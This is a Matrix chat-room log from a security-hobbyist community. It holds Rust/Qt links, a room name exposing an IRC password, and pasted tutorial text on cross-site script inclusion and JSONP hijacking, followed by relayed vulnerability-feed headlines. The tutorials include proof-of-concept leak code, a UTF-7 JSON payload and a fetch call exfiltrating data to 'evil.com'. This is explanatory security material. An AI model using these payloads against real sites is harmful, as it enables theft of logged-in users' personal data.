!AgURMRJcfHMMMRnaqE:openintents.modular.im

DataMatter

170 Members
Community page +hackers:openintents.modular.im 34 Servers

Load older messages


SenderMessageTime
5 Jan 2020
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/rust-qt/examples https://github.com/KDE/rust-qt-binding-generator https://libraries.io/github/rust-qt/ritual https://libraries.io/github/rust-qt/qt_widgets https://libraries.io/cargo/qt_gui https://libraries.io/cargo/qt_ritual_build https://woboq.com/blog/qmetaobject-from-rust.html Seem like more than plausible to do it without issue It would gain in speed, security , prevent all data race condition exploit , protocol pollution . https://github.com/filcuc/DOtherSide https://doc.qt.io/qt-5/qtquick-index.html https://github.com/White-Oak/qml-rust https://woboq.com/blog/verdigris-qt-without-moc.html otherwise there is a POC of moc https://github.com/woboq/moc-ng18:06:32
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S changed the room name to "DataMatter :|: IRC :: privy.cafe :: SSL port 6697 - Password : dg4lprivy - :|: DemoNSAw Router - privy.cafe :: port 8080 - - Password : dg4lprivy -" from "DataMatter ".18:08:32
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S changed the room topic to " #DG4L :: community page : +hackers:openintents.modular.im :: Unencrypted room #quasar:openintents.modular.im :: #vxug:vxjes.us :: Community Homepage https:://privy.cafe " from " #DG4L :: community page : +hackers:openintents.modular.im :: Unencrypted room #quasar:openintents.modular.im :: #vxug:vxjes.us :: ".18:09:00
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S2020-01-05 20:33:07,436 - synapse.server - 244 - INFO - None - Finished setting up. started synapse.app.homeserver('homeserver.yaml') v20:33:51
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Smutrix server should be up sooon20:34:09
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/woboq/moc-ng20:35:49
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/White-Oak/qml-rust20:36:06
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/rust-qt/ritual20:36:22
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/filcuc/DOtherSide20:36:29
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://github.com/KDE/rust-qt-binding-generator20:36:37
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://libraries.io/cargo/qt_ui_tools20:37:37
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://libraries.io/github/rust-qt/repositories20:37:45
@maintainingman:matrix.org@maintainingman:matrix.org joined the room.21:48:32
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://libraries.io/github/rust-qt/ritual21:56:18
6 Jan 2020
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S
13:40:14
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S
xploiting

XSSI can be used in the context of authentication be used to steal keys etc. The options of misuse are only limited by the creativity of the application developers. Some cases occur repeatedly and so I want to show how to cover these.

    Variables can be easily read if they reside inside the global namespace as shown above.
    Overriding functions in JavaScript shouldn’t be a problem even for JavaScript-Newbies. The following example stems from a real world example. The website accesses user data inside the profile page using a JSONP callback

angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})

to get the information function _7 has to be overridden.

<script>
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

The leaked JSON

This also works with global functions. In this case, it isn’t necessary though to override the function. You can simply provide your own callback function.

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

    If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using prototype tampering. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper The Unexpected Dangers of Dynamic JavaScript and demonstrates how overriding a relevant function of type Array and access to this, a non-global variable can be leaked as well.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

In the original code slice from type Array accesses the data we’re interested in. An attacker can, as described in the preceding clause, override slice and steal the secrets.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

Security Researcher Sebastian Lekies just recently updated his list of vectors.
Non-Script-XSSI

Takeshi Terada describes another kind of XSSI in his paper Identifier based XSSI attacks. He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the script tag, using the data as variable and function names.

The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry Advanced Web Attack Techniques using GMail depicts a XSSI, which by overriding the Array constructor was able to read the complete address book of a google account.

In 2007 Joe Walker published JSON is not as safe as people think it is. He uses the same idea to steal JSON that is inside an Array.

Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of Hackvertor, in the blog entry JSON Hijacking released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.

JSON with UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Including the JSON in the attacker’s page

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>


13:40:49
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S


    I look at the HTTP GET request for the JS file to make sure that it doesn’t require CORS triggering headers like:
    Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever
    At this stage if it does have CORS headers then, the attack will fail, unless I also find a CORS issue.

In this case, no special headers were needed, so I could include the JS file on a web page with a script tag and send it to any server leaking some serious PII, with the POC being similar to:

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

You can use the same way to find JSONP callbacks by appending parameters like callback=some_function, jsonp=blah on all paths that return sensitive information.

Important Notes:

    If the response has Content-Type: application/json but the body has JSONP/javascript, and the X-Content-Type-Options: nosniff header is NOT in the response, the exploit still WORKS.
    For JSONP, different callback parameters might work on different endpoints even on the same website.
    Example:
    https://target.com/profile_info?callback=test→ no JSONP
    https://target.com/profile_info?jsonp=test→ returns JSONP
    But, on a different path on the same site:
    https://target.com/account_info?jsonp=test→ no JSONP
    https://target.com/account_info?jsoncallback=test→ returns JSONP


13:41:04
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S
Same origin policy and JSON

JSON is a data format widely used in web applications that uses JavaScript notation to describe objects and values. By default, the same origin policy prevents reading JSON cross site. That is, the site https://attacker.com/ can not read https://my.webapp/data.json. There are two common ways to enable that, so that the data can be read cross-site:

    Cross-origin resource sharing (CORS)
    JSON with padding or JSONP

How JSONP works

JSONP is a little bit of a hack. It wraps the data in a function call. If you have this JSON:

{"hello": "world"}

JSONP will call some function with this data:

somefunction({"hello": "world"})

So the padding here is somefunction(...) and the original JSON is passed into it. This makes it possible to read the JSON cross-site, by including the JSONP resource as a script:

<script src="https://my.webapp/data.jsonp">

This will call somefunction with the data, and this data can be used by providing a function with that name:

<script>
  function somefunction(data) {
    // The data variable will contain the JSON data.
  }
</script>
<script src="https://my.webapp/data.jsonp">

Security risk

JSONP makes it possible to access data from another website. This makes it possible to retrieve personal data from a logged-in user. If the data is specific to the user, or can only be accessed by an authenticated user, other sites should not have access to it. However, JSONP makes it possible to retrieve the data in a CSRF-style attack.

The attacker’s site includes the JSONP URL as a script. The browser performs the request, and sends cookies along if the user is authenticated. The JSONP will return the data for the authenticated user, and the attacker’s site can read that. The attacker’s site uses the current session of the user to perform an authenticated request.
Callback parameter

The “padding” or function to call with the JSON data, is often specified as a parameter. Often this parameter is called callback and is reflected as-is in the response.
Checking for JSONP

You can recognize JSONP by the parameter in the URL or the POST data that is then used as function call.

Sometimes, JSONP is not used by the site but the API still supports it. To check an endpoint for JSONP support, try this:

    Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
    When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.

Try it: see if you can obtain the data from this URL from

13:42:18
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S vuldb.com:
irssi up to 1.0.6/1.1.0 Theme String Out-of-Bounds memory corruptionvuldb.com:
irsii up to 1.0.6/1.1.0 NULL Pointer Dereference denial of servicevuldb.com:
irssi up to 1.0.6/1.1.0 SASL Message Use-After-Free memory corruption
13:57:45
@1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S Vulnerabilities Database - CXSecurity.com:
cera-intranet-community-theme SQL InjectionRSS Bot [@atmos:hotline.blin.gg] (@_neb_rssbot_=40atmos=3ahotline.blin.gg:matrix.org)Exploit-DB.com RSS Feed:
[dos] Duplicate Cleaner Pro 4 - Denial of Service (PoC)RSS Bot [@appservice:matrix.org] (@_neb_rssbot_=40appservice=3amatrix.org:matrix.org)vuldb.com:
3S-Smart CODESYS Web Server Request Stack-based memory corruptionvuldb.com:
Tenda AC15 V15.03.1.16_multi Cookie Header password privilege escalationvuldb.com:
F-Secure Radar batch Tags cross site scriptingvuldb.com:
Ivanti Endpoint Security up to 8.5 Update 1 Whitelist privilege escalationvuldb.com:
F-Secure Radar ReturnUrl Open Redirectvuldb.com:
irssi up to 1.0.6/1.1.0 Nick Empty NULL Pointer Dereference denial of serviceRSS Bot [@atmos:hotline.blin.gg] (@_neb_rssbot_=40atmos=3ahotline.blin.gg:matrix.org)Exploit-DB.com RSS Feed:
[webapps] Small CRM 2.0 - Authentication BypassExploit-DB.com RSS Feed:
[webapps] Voyager 1.3.0 - Directory TraversalExploit-DB.com RSS Feed:
[webapps] Codoforum 4.8.3 - Persistent Cross-Site ScriptingRSS Bot [@atmos:hotline.blin.gg] (@_neb_rssbot_=40atmos=3ahotline.blin.gg:matrix.org)Vulners.com RSS Feed:
SpotFTP FTP Password Recovery 3.0.0.0 - 'Name' Denial of Service (PoC)Vulners.com RSS Feed:
RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC)Vulners.com RSS Feed:
SpotIE 2.9.5 - 'Key' Denial of Service (PoC)Vulners.com RSS Feed:
elaniin CMS 1.0 - Authentication BypassVulners.com RSS Feed:
NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC)Vulners.com RSS Feed:
Dairy Farm Shop Management System 1.0 - 'username' SQL InjectionVulners.com RSS Feed:
Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service PathVulners.com RSS Feed:
ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)Vulners.com RSS Feed:
Dnss Domain Name Search Software - 'Name' Denial of Service (PoC)Vulners.com RSS Feed:
TextCrawler Pro3.1.1 - Denial of Service (PoC)Vulners.com RSS Feed:
Voyager 1.3.0 - Directory TraversalVulners.com RSS Feed:
Office Product Key Finder 1.5.4 - Denial of Service (PoC)Vulners.com RSS Feed:
Microsoft Outlook VCF cards - Denial of Service (PoC)Vulners.com RSS Feed:
Small CRM 2.0 - Authentication BypassVulners.com RSS Feed:
SpotIM 2.2 - 'Name' Denial Of ServiceVulners.com RSS Feed:
Codoforum 4.8.3 - Persistent Cross-Site ScriptingVulners.com RSS Feed:
FTPGetter Professional 5.97.0.223 - Denial of Service (PoC)Vulners.com RSS Feed:
Multiscanner - Modular File Scanning/Analysis FrameworkExploit-DB.com RSS Feed:
[dos] Microsoft Outlook VCF cards - Denial of Service (PoC)RSS Bot [@appservice:matrix.org] (@_neb_rssbot_=40appservice=3amatrix.org:matrix.org)vuldb.com:
irssi up to 1.0.6/1.1.0 Theme String Out-of-Bounds memory corruptionvuldb.com:
irsii up to 1.0.6/1.1.0 NULL Pointer Dereference denial of servicevuldb.com:
irssi up to 1.0.6/1.1.0 SASL Message Use-After-Free memory corruption
  • RSS Bot [@appservice:matrix.org] (@_neb_rssbot_=40appservice=3amatrix.org:matrix.org)vuldb.com:
    irssi up to 1.0.6/1.1.0 Use-After-Free memory corruptionvuldb.com:
    RoomWizard up to 4.3.x GroupViewProxyServlet url Server-Side Request Forgeryvuldb.com:
    RoomWizard up to 4.3.x getGroupTimeLineJSON.action information disclosurevuldb.com:
    RoomWizard up to 4.3.x HelpAction.action pageName cross site scriptingvuldb.com:
    shadow 4.5 newgidmap /proc/self/setgroups privilege escalationvuldb.com:
    FrontAccounting 2.4.3 admin/users.php cross site request forgeryvuldb.com:
    Atlassian Crucible up to 4.4.2 Review History cross site scriptingvuldb.com:
    Atlassian FishEye up to 4.5.0 Commit Author cross site scriptingvuldb.com:
    Atlassian FishEye/Crucible up to 4.4.2 Admin Backupprogress filename cross site scriptingvuldb.com:
    FLET'S Azukeru Backup Tool up to 1.5.2.6 DLL Loader Search Path privilege escalationvuldb.com:
    FLET'S Address Selection Tool DLL Loader Search Path privilege escalation
    14:46:29
    @trvon:matrix.orgblackmanta joined the room.15:53:48
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S Exploit Files &#8776; Packet Storm:
    Complaint Management System 4.0 SQL InjectionExploit Files &#8776; Packet Storm:
    IBM RICOH Infoprint 1532 Printer Cross Site ScriptingExploit Files &#8776; Packet Storm:
    ERPNext 11.1.47 Cross Site ScriptingRSS Bot [@atmos:hotline.blin.gg] (@_neb_rssbot_=40atmos=3ahotline.blin.gg:matrix.org)Vulners.com RSS Feed:
    DeathRansom Campaign Linked to Malware Cornucopia
    17:30:07
    7 Jan 2020
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S changed their display name from A T M O S to S O m T A .05:42:29
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S set a profile picture.05:42:41
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://codecoderevolution.com/05:48:11
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://escapeqr.com/05:48:23
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S changed their profile picture.06:04:27
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O S Exploit-DB.com RSS Feed:
    [webapps] Job Portal 1.0 - Remote Code Execution
    07:05:47
    @1zkrhczgyqx7ycxvrxvha8sn6omphokrd:openintents.modular.imA T M O Shttps://hardenedlinux.github.io/system-security/2019/10/24/trusting-trust.html07:09:07
    @moony:matrix.deprecated.orgMoony changed their display name from Moony to moony.11:12:12

    Show newer messages


    Back to Room ListRoom Version: 5